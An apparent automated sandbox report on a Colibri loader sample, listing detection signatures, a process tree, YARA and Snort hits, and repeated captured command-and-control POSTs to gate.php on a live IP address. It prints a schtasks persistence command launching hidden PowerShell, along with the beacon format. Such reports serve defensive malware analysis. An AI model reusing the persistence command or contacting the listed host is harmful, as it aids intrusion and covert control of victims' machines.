Play interactive tour

Edit tour

Windows Analysis Report q2t57gIiIY

Overview

General Information

Sample Name:	q2t57gIiIY (renamed file extension from none to exe)
Analysis ID:	465533
MD5:	0e78df69265dc57c37673bdee540ce2f
SHA1:	a1231f08b5fca28fa29b6c9621cf01c4e82f3d95
SHA256:	6b74dc043f9a12823ed98d704e4c8543c9b5d8b9240e65e9d31d2303ab914906
Tags:	colibriexeloader
Infos:
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected VMProtect packer

Found C&C like URL pattern

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SLDT)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

q2t57gIiIY.exe (PID: 5960 cmdline: 'C:\Users\user\Desktop\q2t57gIiIY.exe' MD5: 0E78DF69265DC57C37673BDEE540CE2F)

schtasks.exe (PID: 5916 cmdline: /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr 'powershell.exe -windowstyle hidden' MD5: 15FF7D8324231381BAD48A052F85DF04)

Get-Variable.exe (PID: 6656 cmdline: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe MD5: 0E78DF69265DC57C37673BDEE540CE2F)

powershell.exe (PID: 6632 cmdline: powershell.exe -windowstyle hidden MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Get-Variable.exe (PID: 6952 cmdline: 'C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe' Name host ValueOnly True MD5: 0E78DF69265DC57C37673BDEE540CE2F)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6632	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x1dbdd9:$sa2: -encodedCommand 0x1dbe05:$sa2: -encodedCommand 0x1dbe34:$sa2: -encodedCommand 0x1dc520:$sa2: -EncodedCommand 0x1dd041:$sa2: -EncodedCommand 0x1dd0dc:$sa2: -encodedCommand 0x2ed59:$sb3: -windowstyle hidden 0x30dd7:$sb3: -windowstyle hidden 0x51328:$sb3: -windowstyle hidden 0xf3208:$sb3: -windowstyle hidden 0xf3bfe:$sb3: -windowstyle hidden 0xf580b:$sb3: -windowstyle hidden 0x1dc2fb:$sc2: -NoProfile 0x1dc33c:$sd2: -NonInteractive

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Show sources

Source: q2t57gIiIY.exe

ReversingLabs: Detection: 21%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: q2t57gIiIY.exe

Joe Sandbox ML: detected

Source: q2t57gIiIY.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49746 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.4:49746 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49750 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.4:49750 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49750 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49750 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49753 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49753 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49753 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49764 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49764 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49764 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49773 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49773 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49773 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49774 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49774 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49774 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49777 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49777 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49777 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022986 ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad 192.168.2.4:49778 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49778 -> 94.103.80.169:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49778 -> 94.103.80.169:80

Found C&C like URL pattern

Show sources

Source: global traffic	HTTP traffic detected: POST /gate.php?type=update&uid=7788F0C9B3493382528285 HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 64Cache-Control: no-cacheData Raw: 53 31 50 46 62 48 64 64 71 4e 6b 47 4c 4d 34 63 73 75 37 6e 31 59 2f 4d 62 41 77 75 6d 6d 79 2b 68 67 34 51 35 2f 31 70 30 70 73 49 6e 57 6f 6b 74 47 33 64 37 65 6d 77 2b 65 4c 71 73 67 3d 3d Data Ascii: S1PFbHddqNkGLM4csu7n1Y/MbAwummy+hg4Q5/1p0psInWoktG3d7emw+eLqsg==
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
